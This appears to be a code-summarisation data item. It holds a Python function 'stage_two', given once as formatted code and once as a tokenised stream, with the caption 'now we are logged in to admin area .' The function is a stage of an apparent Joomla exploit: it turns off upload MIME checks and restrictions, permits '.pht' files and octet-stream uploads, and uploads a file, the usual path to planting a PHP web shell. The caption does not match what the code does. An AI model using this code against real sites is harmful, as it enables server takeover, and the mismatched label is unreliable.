def stage_two(options, sess):
 media_options = get_media_options(options, sess)
 if (not media_options):
  return False
 old_options = media_options.copy()
 media_options.update({'jform[check_mime]': 0, 'jform[restrict_uploads]': 0, 'jform[upload_extensions]': add_item(media_options, 'jform[upload_extensions]', 'pht'), 'jform[image_extensions]': add_item(media_options, 'jform[image_extensions]', 'pht'), 'jform[upload_mime]': add_item(media_options, 'jform[upload_mime]', 'application/octet-stream')})
 if (not set_media_options(options, sess, media_options)):
  return False
 image_path = media_options.get('jform[image_path]', 'images')
 return upload_file(options, sess, image_path)

def stage_two ( options , sess ) : media_options = get_media_options ( options , sess ) if ( not media_options ) : return False old_options = media_options . copy ( ) media_options . update ( { 'jform[check_mime]' : 0 , 'jform[restrict_uploads]' : 0 , 'jform[upload_extensions]' : add_item ( media_options , 'jform[upload_extensions]' , 'pht' ) , 'jform[image_extensions]' : add_item ( media_options , 'jform[image_extensions]' , 'pht' ) , 'jform[upload_mime]' : add_item ( media_options , 'jform[upload_mime]' , 'application/octet-stream' ) } ) if ( not set_media_options ( options , sess , media_options ) ) : return False image_path = media_options . get ( 'jform[image_path]' , 'images' ) return upload_file ( options , sess , image_path )
now we are logged in to admin area .